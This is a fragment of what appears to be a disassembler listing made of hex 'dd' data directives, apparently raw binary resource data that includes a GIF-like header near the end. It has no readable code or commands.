		dd 0AA2688A1h, 368CA2E8h, 90A3E8EAh, 0A4E92A46h, 0E96A5694h
		dd 0AA6698A5h, 769CA6E9h, 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h
		dd 0AAA6A8A9h, 0B6ACAAEAh, 0B0ABEAEAh, 0ACEB2AC6h, 0EB6AD6B4h
		dd 0AAE6B8ADh, 0F6BCAEEBh, 12AFEBEAh, 0B0C26092h, 8248842Ch
		dd 0DB0EC3B0h, 742E0BC2h, 0D0B26C78h, 0B4C2D09Ah, 2C785826h
		dd 709AD1B2h, 0C2DB0ADh, 0C884C24Bh, 0B5ED9B76h, 2DAB48D0h
		dd 3417FE49h, 0DBB8ECF8h, 90D1B7Eh, 0C54B7ED4h,	0BAE0904h
		dd 30ECB6EDh, 95BCAE64h, 0B3E01BD0h, 0AF8B46E2h, 2B20B534h
		dd 0F845142Fh, 3C0AD87h, 0C18B8347h, 9F916AE8h,	8B92F7BDh
		dd 0F2DE4090h, 0F211879Bh, 0B1F0CC51h, 421398EBh, 0E17F1AB2h
		dd 831FC2DEh, 1046F0ECh, 7A86E2E7h, 0B2AC56E1h,	8CB52542h
		dd 6DE31BF0h, 4CCEECBh,	0B7B234B7h, 0C60BF4EEh,	4C06EB77h
		dd 0F32BC5B2h, 0F3B9F3F4h, 0B541B1C2h, 347CA1D9h, 51D35D2h
		dd 0CB37D32Fh, 3A74B501h, 522F9CEFh, 0B1BD62FAh, 0EBA421D6h
		dd 5F29CC5Ch, 2448F60Ch, 1C363D07h, 2FE06EDAh, 4C671E72h
		dd 876BD575h, 93DBAFB2h, 4372B1Ch, 0EDAD49C6h, 5DE778DDh
		dd 0F72ED030h, 9DFC24Dh, 0D4F826FCh, 0CB8E1B6Ah, 2D66EECFh
		dd 9021C8C9h, 0B9E34101h, 0BBB53DD5h, 0CD5E4B49h, 0F29B25D2h
		dd 2462D974h, 756D39C0h, 0E17A0BB7h, 76D35FA2h,	54C2E2FEh
		dd 0AAE6C59Bh, 0DDB9E6BFh, 8F0EC75Fh, 624F6FCDh, 0E7AA193Bh
		dd 83E3DAAEh, 0EF944CF3h, 0F41D011Dh, 5F137E2Fh, 0B5A3EAFCh
		dd 0CCE46EDEh, 0DF3A446Fh, 0FB8F44AEh, 0DE09A2F4h, 0B7D9CF70h
		dd 0ACE5BB34h, 0E6B8B084h, 0FEE033C5h, 4F27C866h, 13DF973h
		dd 0B7E9CC1Fh, 65C68EE3h, 3E4F5F8Fh, 1CA13DFDh,	0AC68435h
		dd 7F2DC45Eh, 64821082h, 0D0BCA7ACh, 0B3803001h, 0F6182023h
		dd 249CB4C0h, 0E3BB3104h, 681EF61Dh, 0A179FB14h, 160A00Fh
		dd 4F246D6h, 7FA61A05h,	71E5BE3h, 742D86C1h, 0EB297081h
		dd 0B00B8170h, 0C430426h, 9BFE6A46h, 170D0ADFh,	45297882h
		dd 0E0B93B27h, 30375C33h, 1101416Fh, 0D74BE065h, 1DBBD664h
		dd 0E61A2DE6h, 7E49173Ah, 0B86910C8h, 505321AEh, 8716C8C2h
		dd 25D84440h, 9FFBF283h, 11E27D13h, 5C40B813h, 1116FAE4h
		dd 3A8F9691h, 4861116Ch, 0FE5CA24Ch, 0D84397C4h, 1E25918Dh
		dd 63199D71h, 497B82B0h, 28FD1FD1h, 173501C7h, 0E5ADC047h
		dd 0DE4AD95Ah, 4778C4EBh, 8F441C78h, 0B961C89h,	19831068h
		dd 29880C82h, 0E0B0C241h, 98314858h, 0D3465EC5h, 391B2320h
		dd 2BB63CBAh, 419CA892h, 0C9872AB7h, 58605E4Ch,	27642365h
		dd 14C742C7h, 93949152h, 0C11AC763h, 50763198h,	7117846Bh
		dd 0D78726A5h, 2579FDC9h, 23B4B691h, 49023F29h,	8C314654h
		dd 2AD78106h, 264C287Fh, 0C579EB08h, 0E2556394h, 125C4C97h
		dd 8CBB1DA4h, 0F81B185Fh, 0A52A1F11h, 63784C9Ah, 95298B17h
		dd 8EF2DA0Ch, 33A53CCCh, 691515D9h, 0E89D1302h,	65170168h
		dd 0D4A7CD99h, 8C2B9C92h, 9E73CA7h, 0B398AB39h,	826CF88Dh
		dd 4D99393Eh, 7764C66Dh, 0EFA5BCC9h, 824449C0h,	0F62BF416h
		dd 0AB2B583Ch, 366234F9h, 613298D4h, 0EA2F0881h, 0A481B5C0h
		dd 180CA899h, 72FEC4E1h, 13A28DD0h, 28FCEB96h, 40DA4650h
		dd 977451C9h, 1CE35504h, 84CF78CFh, 479AE12Eh, 801A68FCh
		dd 0AE654D32h, 0B503A4E4h, 0D2F114A8h, 0F4FA60D2h, 0A7DAC202h
		dd 133A8750h, 29344A58h, 52A35905h, 0BCC8B6DBh,	1AA78090h
		dd 0D54FAA75h, 0CEA14FC9h, 14C0262Dh, 0B9114DD9h, 0E622A5D5h
		dd 2A7C5897h, 5539063Ah, 28012041h, 3461847Fh, 72539A93h
		dd 0D4A32626h, 6012EB94h, 5262D65Ah, 29338AA4h,	0C9C23AAAh
		dd 0E652BF4Bh, 2C151A97h, 0D53B0813h, 9AE3382Dh, 0FA9C1D89h
		dd 95489AF8h, 8033163Ah, 76484FDh, 35BFAD5Bh, 4BEAB0F4h
		dd 0C2636216h, 72465082h, 0D691A78Dh, 5A3A1134h, 0B0D5D2A8h
		dd 1ED4D96h, 0D6D216CDh, 0ACABB67Ah, 476D2D09h,	0EAC3564Bh
		dd 0D365B742h, 7A744CE2h, 0B08ED91Bh, 6A9573B6h, 306B511Ch
		dd 0B8473EB1h, 0D3EB952Eh, 23888BA4h, 5588D65Ch, 67198E70h
		dd 0C15DFE9Bh, 8710F652h, 92B20865h, 60E6073Bh,	3DB5AC57h
		dd 5B72226Fh, 0C72C3E5Dh, 0AE8591B9h, 68B6F35h,	0A617AACBh
		dd 57CE489Ch, 0FD561845h, 6CBF845Ah, 4D6E8268h,	203A5F00h
		dd 34E7BF07h, 0A9F764F0h
		dd 5782EA39h, 0A9138116h, 51C24D8h, 0BBE252C2h,	7147BBB6h
		dd 0FD5E56F6h, 0FA6C735Eh, 2B172D48h, 6F019C32h, 5E07C398h
		dd 0EBD782B1h, 6FAD5CAh, 31860DC2h, 0AC82092Ch,	8842C71Ch
		dd 868121BCh, 2AE3072Bh, 0BB886F38h, 5F6AF1ADh,	0E0D86362h
		dd 7DD0C4B8h, 0C5D7811Ah, 633A615Eh, 0CDA4B76Bh, 5585D90h
		dd 9F6488Ah, 0C9014D5Fh, 2B8F2C7Ch, 0A1B100B7h,	0AD198D90h
		dd 8C4C664Ah, 542F15E2h, 0E5E20C6Fh, 4BEB2B66h,	4D88E984h
		dd 0E5CC080Ah, 0CE02C46Ch, 6A491874h, 85832061h, 669D0C6Eh
		dd 184FED2Eh, 0ACD064D2h, 0B66D6A19h, 0E1323883h, 565C59E5h
		dd 1802958h, 0AFDB4A0Ch, 57A494FEh, 61542258h, 0E822043Ah
		dd 0C5F9ECCBh, 1CC3B851h, 240CA0BEh, 0DC86773Bh, 67AA453Bh
		dd 0D6A32E6Ch, 70EFAAE2h, 9807A3CCh, 0A290370Dh, 35711A0Bh
		dd 0ADF0520Bh, 126FA255h, 0AC2D48F8h, 773D9D6Dh, 0A72F6350h
		dd 5230D83Eh, 6B5F86FDh, 0AE12123h, 168033F5h, 0E3D3643Ch
		dd 962826B8h, 977CD337h, 1E8DBB5Dh, 1EB5EEB2h, 6EAC4DB0h
		dd 72DDCBBDh, 9D9C06EBh, 2F5C2DC0h, 8973D9D3h, 0ED259F76h
		dd 0A258898Ah, 0A4B2C88Ah, 0EA1042C3h, 0D682FF63h, 35B71EE2h
		dd 316E12DCh, 0C30B2C6Bh, 69977838h, 4F6D2D2Dh,	0EEDDDE03h
		dd 7B522F37h, 84FF8566h, 85DEFA2Dh, 9D08BBCh, 0B816B710h
		dd 0C8E41EDBh, 16DFF0B1h, 0DFE3DBD8h, 8458B204h, 0AF2E70ECh
		dd 0F8CAE49Ch, 0AD15B86Fh, 0EBCB2142h, 77AF1BE6h, 8D61D033h
		dd 2CCF339Ch, 0BA36973Bh, 68053E81h, 4BCC4B70h,	33C14509h
		dd 0FEBB8ADEh, 0C71CFA62h, 303E8800h, 23AEC802h, 46C39685h
		dd 0C1EDD535h, 955F9DEEh, 0B620268Ah, 0BEAE35C1h, 0E8A0A414h
		dd 8FAEC87Bh, 0B0464223h, 12DF7D24h, 0B98CC6ECh, 0A9D97055h
		dd 1EE9EC7Dh, 5EE1D419h, 0C4E8515Bh, 61814C91h,	761887A3h
		dd 0E56133A5h, 0B0D645C7h, 815A2717h, 8F825A84h, 6BE8610h
		dd 145E0B8Fh, 38FCD2D9h, 9287ADC9h, 0DDDC6967h,	0BA6F23A5h
		dd 512053E4h, 0D39087D1h, 0B22FE867h, 6AE0CCEFh, 0B9199E7Ch
		dd 6D930984h, 0D4174561h, 0DF7ABB3Ch, 7D4F6A78h, 0C282208Bh
		dd 6F9BE8E1h, 677D7DE6h, 0F6FD0FCAh, 416528A3h,	0D39258AAh
		dd 1E1818FBh, 0D59EF5A0h, 0D3E379DEh, 47B1EFFBh, 0EF361CAFh
		dd 0BF407FFCh, 0C76FA5CCh, 0F78CA751h, 0E75C1FC7h, 0EBBE7F7Dh
		dd 0F0E21E09h, 1F15621Bh, 0FDF77E6Ch, 67F3E93Dh, 672F2031h
		dd 7C7D60Dh, 717DA405h,	27DE7583h, 4353CF66h, 5FED5B8h
		dd 0F66777D9h, 0E36F6EA6h, 43C7447Fh, 42F367Ch,	67D90928h
		dd 0E636580h, 3B04F12Ah, 351F3636h, 82501204h, 69577066h
		dd 36AB72F7h, 7106D441h, 77386612h, 0E07569D7h,	79109101h
		dd 537502C3h, 0F8398080h, 5856147Dh, 13012485h,	0F8408250h
		dd 75E78280h, 2C6D60A0h, 661C74B8h, 40481752h, 3401E073h
		dd 0F81B0708h, 41680A5Dh, 0F412A7B6h, 88513657h, 44800A44h
		dd 61576012h, 884783B3h, 74B41F84h, 485FA680h, 0B3C18311h
		dd 85105581h, 985EA849h, 70F860C6h, 82174485h, 8685F042h
		dd 0D0100090h, 85F08885h, 1533F0AFh, 58645A28h,	63041286h
		dd 9C7F4146h, 0A86C7196h, 85085004h, 7F85482Ch,	0C7F26817h
		dd 7E002704h, 0A087841h, 287C3D30h, 8568617Eh, 54071650h
		dd 86957117h, 86A1454Fh, 4B88D05Fh, 586E88D0h, 64885304h
		dd 756556C3h, 0C0C88930h, 82661402h, 8990FE86h,	8989B3C5h
		dd 52C80BC0h, 6B62572h,	0BE7F88C0h, 0E0460DF6h,	52340153h
		dd 0A880E6B1h, 588E8AA8h, 246298Ch, 9173B027h, 87E67466h
		dd 83801B09h, 0B8065531h, 0A3AA3D38h, 8BC0638Bh, 9E8736C4h
		dd 27E165D7h, 6280C04Bh, 0DA3E6676h, 0C0467796h, 7388EE8Ch
		dd 0E8024890h, 0B0988D57h, 89805C49h, 0DD8DC3DFh, 28E05FD8h
		dd 7FC8E28Fh, 5A5F37F6h, 38350AA0h, 33E0F70Fh, 5288976Eh
		dd 58AA8EE8h, 7535FF69h, 0AF0D88F3h, 508C6270h,	98DB08h
		dd 9A91900Ah, 572C87C8h, 0B28FE89h, 349D05Dh, 70928C29h
		dd 82E0DF68h, 18D47FDh,	0B34D7491h, 7448EE90h, 2702C7C3h
		dd 0B6500B90h, 88288109h, 0C371687h, 0B9190698h, 93F93D8Dh
		dd 120108B9h, 0F8B08E00h, 48592166h, 3708B083h,	0D7A08677h
		dd 7804153Ch, 0FF8CC05Ah, 380A6487h, 8A39005Ch,	4313A862h
		dd 0D9167E00h, 95E8B993h, 917918FEh, 2401B943h,	0F0F276F0h
		dd 4FC80D05h, 9209A94Bh, 76421018h, 84207980h, 41842972h
		dd 18629518h, 75B87293h, 2A8CE694h, 0C2C27119h,	94087C50h
		dd 1A93E95Fh, 8E00629h,	6D49585Fh, 69840046h, 996B9029h
		dd 3187AE92h, 7387794Fh, 0E8409959h, 6986D88Ch,	0EA459891h
		dd 0A81F7386h, 3F801395h, 8293F4B2h, 991A9A49h,	9A185D89h
		dd 0DC562965h, 84358830h, 3AA06987h, 0DA98F5A7h, 0F0D59370h
		dd 97179496h, 249BB996h, 17DB6EC7h, 6AC0BE61h, 1701E815h
		dd 10270581h, 93D0124Bh, 839A487Bh, 0B9619189h,	299AA8Fh
		dd 0D394C98Ah, 0A9B19729h, 9D88F987h, 6A93B922h, 69587070h
		dd 76901F0Eh, 429963A5h, 15D49BC9h, 7BE0298Dh, 0C186301Fh
		dd 0F4166C09h, 85F3C378h, 0F39A59A6h, 100A8B89h, 270279Ah
		dd 298EC82Eh, 78978AB9h, 3D38FA9Dh, 0B287A085h,	0B94808B9h
		dd 0FE29477Ch, 3059B69Ch, 0D6389604h, 50629B09h, 10C6F399h
		dd 276C3895h, 0CA1801F0h, 8498199Eh, 8B9C4048h,	72C70598h
		dd 9F59613Bh, 0D39F39A8h, 0C9FA9F83h, 7D941F96h, 4488D86Ch
		dd 19CA8B60h, 0A038FAA0h, 0DB08EA05h, 4A3808C9h, 9599B592h
		dd 0E376E669h, 87885F9h, 825065A1h, 0BF5FF65Eh,	8A1901B9h
		dd 0A1C97B0Dh, 1BA1FA1Dh, 0B0139330h, 0A23A2691h, 0AA91A940h
		dd 8C50279h, 86E90C06h,	608DA842h, 3C5A329h, 83EA35A0h
		dd 48A0606Ah, 4A0B9EE9h, 337A0D6Fh, 42A11A5Dh, 98CF8FCAh
		dd 9F93276h, 0AEA1AA49h, 0F04C05A9h, 3994AFA1h,	24A249F6h
		dd 49F79CEAh, 9639996h,	248EF06Fh, 9A68788h, 65A02A6h
		dd 36575A33h, 0FA785DDAh, 6C47C799h, 489D63DCh,	0D7000AF4h
		dd 4F93370h, 56A75A18h,	46D58E49h, 8F202707h, 5491A3B8h
		dd 0A9CCA55Ah, 21A4F9Ch, 0D0A6942h, 2A5EA879h, 1AFE8A98h
		dd 0A8EA01A6h, 0BA9D4566h, 0B9B81000h, 7E29E480h, 0A78D004Dh
		dd 0EA9D4B76h, 82BA7AA9h, 0F90516AAh, 0E9833729h, 899AA9A7h
		dd 1C10C010h, 0E997A430h, 0AD384005h, 0D6AAF013h, 88DC9F59h
		dd 0A8DAB300h, 899B3AB6h, 0DA3FA939h, 9B0A10A5h, 0E599A587h
		dd 0AAC30A07h, 0A68A77A4h, 80966116h, 9A26ACCAh, 24ACF91h
		dd 5D85D01Ch, 1AD4A448h, 42AD584h, 7F826AD8h, 0DADC3C5Ah
		dd 0ADFADEADh, 0BAA3BA67h, 784D0270h, 902973A8h, 12C9741h
		dd 4A76A9D8h, 5898E86h,	0E101DA7Ah, 43AA0128h, 0ACDAF200h
		dd 1796485Dh, 0D94293F0h, 997994AAh, 25A2E9BCh,	89F39CBBh
		dd 0B03B0300h, 68A8BB04h, 59B2A040h, 99EAB6A3h,	0BA3E0C8h
		dd 5A40AFC8h, 616AE69Eh, 9101C2DAh, 1A9EAEA9h, 79899011h
		dd 500439DDh, 8A508948h, 0B1DB1C9Ah, 7C9A19A6h,	5AD2A25Ah
		dd 0AD59BBB2h, 0AD588Eh, 0CB2CA24Bh, 5B2FFEB2h,	0B05B31ABh
		dd 21B08ADFh, 0D45D7BF0h, 6E0B3DA6h, 9CA69A3Eh,	4938B12Ah
		dd 8598C86h, 49A2CAD3h,	702101E0h, 8DDB21A1h, 64B4FB4Eh
		dd 0E9F30139h, 9C9B55A6h, 3AAD7973h, 0B9F5B59Bh, 0B5DB2EB5h
		dd 60A8CA61h, 3409B06Ah
		dd 0A6499B58h, 95741B8Dh, 0C1399338h, 1E0B701h,	4E85001Fh
		dd 98D3B960h, 44B7094h,	1C048B49h, 0F8347AC0h, 0B79B4D93h
		dd 2A8BC010h, 0BB3C9A6Bh, 0A1287B9Bh, 86ACCB0Dh, 0FA33B88Bh
		dd 65EB8CB2h, 8680B33Fh, 9616A100h, 9D9FA02h, 180B5B9Ch
		dd 0C01BB9AAh, 692BC601h, 159FE051h, 7B48B9F9h,	0BBE7D901h
		dd 0A601E01Bh, 9B1DBA7Bh, 0BAB0CFBAh, 0ABD9F3h,	5B84B7FBh
		dd 3AABB3B8h, 88005005h, 0CA329D9Bh, 9DA088A8h,	0E20477E2h
		dd 5B233599h, 34B5A8A6h, 0C183301Fh, 6BC4BC2Bh,	95881BBCh
		dd 0A05D305Eh, 19F9850Bh, 93DB1ABFh, 0CCBD4004h, 8027BD6Ah
		dd 0A95EBDFEh, 9A49E49Ch, 5CB1DB7Fh, 2BE1B2EBh,	0B04BB4BEh
		dd 32A053A9h, 2A973A9Bh, 0BBA51D04h, 2E06A9E5h,	98955EA8h
		dd 0BC6BF297h, 99BF304Fh, 6BC5020Bh, 9D3095BFh,	118DE7B1h
		dd 901FBFBAh, 0B7CBF102h, 9B1DBD3h, 0E0CF9430h,	0AB1A11B4h
		dd 4E9BB9A6h, 0FB033AABh, 0C10BE2C0h, 0FAA8AC11h, 0AB60B8A3h
		dd 9DC5E006h, 608275FDh, 37AC7696h, 0BC601E0Ah,	1CC52BC1h
		dd 4C51B990h, 8A3BF7C5h, 0CA9B005Dh, 0EC2DAF49h, 0BBE018AFh
		dd 0D384101Ch, 3A26C02Bh, 0AA79F994h, 6B972A7Eh, 0CB4E996Ch
		dd 0C403C5B5h, 12C43C42h, 2C47B32Ch, 0C1A5DB06h, 0B72CB47h
		dd 488C8D36h, 4EC80C5h,	8002001Eh, 0A867A2CCh, 0C069FFBCh
		dd 0D0B71C5Eh, 59C9017Bh, 9A7C66C6h, 690179F7h,	0F919B79Ch
		dd 0AC6BC8h, 79015972h,	0FC72C70Bh, 0CA1C74C0h,	4008BB30h
		dd 0E7F70795h, 6639645Dh, 808500E4h, 0FE22B96Ch, 0EC58C27Ch
		dd 5AC5ABCh, 0ADB7DC5Ch, 0EB75840Ah, 49A6BFh, 24C01001h
		dd 0FC94840Ah, 0C96C9601h, 25015B80h, 0CC9C0158h, 0C9FADCC0h
		dd 0A2CA2CA0h, 0CC94069Ch, 7DA9DD5Dh, 0AC0F7C4Fh, 0DCAFCADCh
		dd 0AFEC86CAh, 30C88BCEh, 59CAC92Ah, 0C319C69Eh, 0BECBC9F3h
		dd 0B9F8BD9Ch, 0CEBCC301h, 0C9012CC8h, 0C009C3DCh, 0CCECCDCCh
		dd 80C16C43h, 68FB5D23h, 0C8DB9257h, 81C57115h,	8CDAC22Ch
		dd 0CDDAD7B2h, 7DBDDBCAh, 7014825Bh, 0C98C639Ch, 91CBDBA6h
		dd 79C4012Ch, 0A24AF702h, 0C6CECC91h, 2C34CEFCh, 3C5CF3CFh
		dd 1D009006h, 3B04CF4Dh, 3D25A501h, 0BFBBDA02h,	8CD74AEBh
		dd 8CDD01CDh, 45D2CAD7h, 9D07D060h, 0D0C01EACh,	3FCE7D0Dh
		dd 0A01F9439h, 0D15ACC9Fh, 0C8CC8CC3h, 2CF1C96Ch, 0C72002C7h
		dd 1FBE18DCh, 4A8AD20Dh, 0A3344796h, 106F4CC0h,	0AD294F8Bh
		dd 18C58D2h, 0FEA2ED2Ch, 1EFEA109h, 0D39065Bh, 0C00D34B4h
		dd 7CBDCBCh, 0BD3AD38Ch, 9F5CEBD3h, 1AC96D3Eh, 18FAC40Dh
		dd 0D48D1EBEh, 0DF013A01h, 0CA8BA222h, 0C20AC0C7h, 528AA4E8h
		dd 0FD02C58Dh, 9607E1AAh, 760139F3h, 19F5825Bh,	0D60001C0h
		dd 5B01793Fh, 0CC01AF2Dh, 0D18C96D3h, 0CC004B1Dh, 0AD43002Ch
		dd 6BE0D6h, 6ED47005h, 43EB3E0Dh, 76DC4CBEh, 0CC53ECD5h
		dd 0CBF6D798h, 8ABAFED7h, 0A8C3AAD5h, 0E02600AAh, 0D5ED5DBFh
		dd 88D36D85h, 6D8FA58Dh, 9F5D65D3h, 90D3B00Bh, 3005D42Dh
		dd 6D43D4h, 96C41D1Dh, 5D99DBEDh, 3A8D703Ch, 69C7CA33h
		dd 8582B947h, 1CDA2D7h,	0FEAFA90Dh, 3DA8D2FAh, 0D339C79Fh
		dd 86D85D3Bh, 8D39BA9Dh, 0D8BB4E01h, 0B700ADB5h, 0EDE19F3Dh
		dd 0C40DB9A7h, 96C40D92h, 0BDBEC0FDh, 0D20D98DEh, 5D24D4Ah
		dd 18D171BAh, 0DCC5A34Bh, 0D4DA4DA2h, 0CC6AC3AAh, 0D8AA2901h
		dd 18AF4DD8h, 32D3FE90h, 0FDDED8ACh, 9A4DE0DDh,	0E5DE300Bh
		dd 6DE500ACh, 0D97DE7DEh, 0EBD46DE9h, 72FED99Dh, 0C7CBE401h
		dd 0B86F18D1h, 0D88DD77Ah, 88DDCEDCh, 0C877DD0h, 9B1E062Bh
		dd 372D7091h, 19DAFD8Fh, 5027B989h, 0CE5C8A01h,	0AC66D8Bh
		dd 3E0993DEh, 0E09E0AE3h, 1C90E34h, 0FD92C9FCh,	0D6CDBEE0h
		dd 20E13E10h, 0CE162E9Dh, 2FA0638Dh, 0FDB363A8h, 881B81BCh
		dd 0D51A4D01h, 0A3C84C54h, 6E21E20Dh, 0ACCA6DB2h, 29064A18h
		dd 7E01CBEEh, 0D83DAD02h, 3FD8CE31h, 4E35E379h,	0E30E38E3h
		dd 3ED91E31h, 0DE41E11Eh, 0D6DD1CDEh, 25D9BB2Fh, 260C71BDh
		dd 0CABB087Bh, 4E8CBB49h, 2CADDA1Eh, 0E54E1FE5h, 0DFE56AD6h
		dd 0CC559F5Ch, 0B1CDDDDDh, 39013009h, 5E61CC3Dh, 0E33E35D1h
		dd 67E67E66h, 0CD8BE68Eh, 0DBDE3DE3h, 6EDECE6Ch, 3DC2D6DEh
		dd 0DF0E44ABh, 652DFBD6h, 0F112E4A5h, 0E7CA2C92h, 7E01CE51h
		dd 8001DEFEh, 8B3AA2FEh, 2F4A2406h, 4EA25C8Eh, 9D13E8ABh
		dd 0D3CE8DB7h, 8FDB6E8Fh, 1CBBE93Eh, 0E97D42E6h, 0ECDE8E98h
		dd 0DDC2A01Dh, 0CFA32E9h, 0DE3A9E16h, 0BC450EE5h, 180B2C7h
		dd 48A9E4Eh, 0CED5E79Dh, 0EAACFECAh, 0AC01DEDAh, 0EB3AEACEh
		dd 0E2FA6DEAh, 5F36585Dh, 0A9A1A7EEh, 0E8DE8CCEh, 63EBEACCh
		dd 3DE3EBDEh, 0EC1E8DE3h, 0EAE3FEC2h, 0A8DCEC5Dh, 3D3EC8E9h
		dd 475A6550h, 6A510CFEh, 112ED0E4h, 0CE90CE7Bh,	9ED9ED7Bh
		dd 0EDCDCEEAh, 75974850h, 6E24B0D9h, 0E039EBA2h, 21E8AB79h
		dd 0ED8BCEBBh, 0DE2DB4D0h, 65DE0DB6h, 1EF0919Eh, 0DBCC0FEFh
		dd 99DBBE97h, 7E42002Eh, 8FAE9AEFh, 0CE61F0D4h,	0B94AB8BEh
		dd 8A80B2E1h, 0EEF05CDDh, 1DBC68h, 1EE52C8h, 0D0D33F0Ah
		dd 7A96A44Dh, 0C5593DC0h, 10C96A51h, 9E280180h,	0F18F17EEh
		dd 1CF1CE06h, 0DEB9EBEFh, 0DE7EC2E0h, 0FEE12DEBh, 0F83D3EF6h
		dd 0D1FD1DEh, 7C23CF55h, 7BADD017h, 307D989Ch, 0A4DEA7EDh
		dd 54BCEF05h, 0BF07E1DDh, 0F3EB57EAh, 54E83B83h, 3D63012Ah
		dd 13D88F1h, 0BFE90C02h, 6F4AE31Eh, 0EEFE36C9h,	0EF4F9A4h
		dd 0DF24EC2Eh, 3AAF55E6h, 97E13F57h, 5BE44174h,	0F30E76BEh
		dd 52F32833h, 701EBA19h, 0F07EACF6h, 3CF93C80h,	0F995B58Fh
		dd 0AEB4F0h, 629CB9FAh,	0C017C9AEh, 0F7587BDFh,	0AFD84E04h
		dd 0FB4EF19Dh, 0D5EFAAEEh, 7F001E8Dh, 1F26F23Fh, 8FAEF8DCh
		dd 0AF4AFF85h, 0FBB438B3h, 0F8DB45F5h, 54F91A5Bh, 9F93D04Dh
		dd 0D5401DD7h, 2ABAEEDFh, 9F11A23Bh, 0C0AFA891h, 48F12DB1h
		dd 3E05FA6Fh, 0F4CFABCCh, 84D84FACh, 0F22BE1Dh,	0F85FB1F8h
		dd 21F29F28h, 746A0230h, 0FB9EFF2Ch, 9CF60F8Bh,	2A5BED20h
		dd 0F67E4EEDh, 3BD2AE1Dh, 7B54972Fh, 189A4E5h, 0D1918399h
		dd 5E5DBD9Fh, 0F7DF76EEh, 0F1FE8F78h, 40FFBB4Dh, 162E10A0h
		dd 8882A342h, 4D090A4Ch, 2D008067h, 0EB020B4Ch,	14306AF5h
		dd 26D5DB4h, 276AF60Ch,	64C8D1A4h, 6DC2410Ah, 910C1BF7h
		dd 0FB7527CFh, 0EFD79F05h, 7BC18F3h, 90030310h,	10F05090h
		dd 839123B0h, 43D191B1h, 926243D1h, 0E21292B2h,	0E4E20848h
		dd 89C15302h, 0C2735320h, 0C244E3E3h, 0A93329A8h, 29F3F448h
		dd 0D54A1620h, 96C968F5h, 560996F5h, 0D7EB0A96h, 6040CB6Ah
		dd 2C6C2BD8h, 84CD2421h, 0F9EE02E4h, 0AECE8E79h, 0EF7ACF8Eh
		dd 50B0C2F0h, 107150DBh, 5191D172h, 0C27063B1h,	0F3C25D32h
		dd 13C384E8h, 82745434h, 0E324E4E3h, 0A916D688h, 0B6765E36h
		dd 4422AAD6h, 0D254115Ah, 7FA8152Ah, 0A16180BEh, 97D88C32h
		dd 90205D63h, 0C6B348h,	0A46E8D34h, 0E776A1C9h,	826EC85Ah
		dd 740C950Ah, 72CA43A8h, 9385C8E3h, 2892CEA4h, 0EC261F0Eh
		dd 9E8AE272h, 150AFEBDh, 4233C9F2h, 85266110h, 0AC066EFFh
		dd 0CF681415h, 3162FF26h, 4A6C186Ch, 93132E96h,	6C667331h
		dd 1F8ED663h, 73D48A41h, 42C99C08h, 84AA5083h, 598392C4h
		dd 4E60E80Fh, 43047392h, 40AF9A88h, 0EF509289h,	99E4EC4h
		dd 0BA52EA05h, 0A3515654h
		dd 41486FCh, 0C2E8741Ah, 44AF4F2Ah, 0A32C660Dh,	0E4230801h
		dd 159A998Eh, 5C08475Ah, 7AFD79ABh, 93588FC1h, 46965524h
		dd 5B6D96ABh, 70244654h, 532F1782h, 0F419BC06h,	0F7E514F6h
		dd 46BAD32Fh, 9C3AE693h, 0C62F5790h, 3548B8BFh,	24361B6h
		dd 622558CBh, 0F399A30Eh, 115FCF04h, 0A83B1E89h, 29D3CAB4h
		dd 64A6A901h, 0B9871924h, 0C05304F1h, 6DA777ABh, 0C712FD81h
		dd 70F01DDAh, 0A1C0837Ch, 0F8B00D30h, 0E000017h, 0A9B178Bh
		dd 20E5AAE1h, 38B9CE6Bh, 0BA6E89A4h, 4B0AC03Eh,	4BB305ACh
		dd 0BAD29C69h, 5356EF3h, 129A03Eh, 1360BAFEh, 3E13AEE2h
		dd 0BDBD0090h, 282DB976h, 0C59B82A1h, 3AFAC227h, 6C03BE48h
		dd 0FC3ECF72h, 3F8FD0B0h, 4E5232E3h, 2B2D0139h,	38AD8DF0h
		dd 58F104Bh, 0AC0D1C19h, 848BB707h, 0E02ED5C2h,	730DB804h
		dd 0F41270FAh, 294C1BD4h, 6A3A00FBh, 1292BEA0h,	16F680E2h
		dd 5F21AFCAh, 4720298Ch, 0F1E4051Dh, 9C7F03B9h,	0AA920FCEh
		dd 72C8AEB3h, 0BB84734Ch, 0A4C35509h, 0DA6C77B5h, 2A0E43B0h
		dd 2A1F2DA9h, 3ECC0145h, 4C1A7E7Dh, 0B45F2E3Eh,	0F4014652h
		dd 0C6BF6FDBh, 0B22888B2h, 0E01D2831h, 0E3A1344Ch, 403F412Ah
		dd 93BACB03h, 3B507904h, 10A4EB3Ah, 23C70F13h, 0EA081E4Fh
		dd 108140C1h, 44B29BD3h, 4C0C4E57h, 1D6AC31Fh, 5C8430A2h
		dd 0A6CAC57Ch, 9811A464h, 62FBFCC5h, 0CD306239h, 6E368C54h
		dd 8FD36384h, 0CDB20C80h, 70724B21h, 7CEA964Eh,	4E0DCEE9h
		dd 561300C0h, 17125D5Bh, 2B58D6h, 78BE5011h, 0F756EC1Dh
		dd 0D0E25572h, 376B70F5h, 2096h, 3Bh, 0
		dd 38464947h, 2B36139h,	48C601DBh, 0DED9C100h, 0C3DFDAC2h
		dd 0DCC4E0DBh, 0E2DDC5E1h, 0C7E3DFC6h, 0E1C8E4E0h, 0E6DFCFE6h
		dd 0D0E7E2C9h, 0E2CDE7E0h, 0E8E3CAE1h, 0CEE8E1D1h, 0E2D2E2E3h
		dd 0E9E4CCE9h, 0CDE3E4CFh, 0E5D0EAE5h, 0EAE4D3E4h, 0D7EBE6CEh
		dd 0E6D1E5E4h, 0EBE5D4E5h, 0D2ECE7CFh, 0E6D5E6E7h, 0E6E6D8ECh
		dd 0D3E7E8D3h, 0E7D6F4E7h, 0EDE9D0EDh, 0D4E8E9D4h, 0E8D7F5E8h
		dd 0EFEAD1EFh, 0D9F0EBD2h, 0EBD5F0E9h, 0EAE9DCEAh, 0DAF1ECD3h
		dd 0EADDF1EAh, 0F2EBDBEBh, 0DCECEBDEh, 0ECDFF3ECh, 0EEEDE0EDh
		dd 0DEF4EEDDh, 0F0DFF5EFh, 0F0F0E2F6h, 0E3F8F1E0h, 0F2E1F1F1h
		dd 0F3F2E5F9h, 0E6FAF3E3h, 0F2EDF4F3h, 0F5F4E7F5h, 0EEFBF3EAh
		dd 0F5E8F6F3h, 0F8F6F0F6h, 0F3F9F7F2h, 0F9F4FBF8h, 0FDFAF5FCh
		dd 0F7FEFBF6h, 0FEF8FFFDh, 2Ah dup(0FFFFFFFFh),	4F921FFh
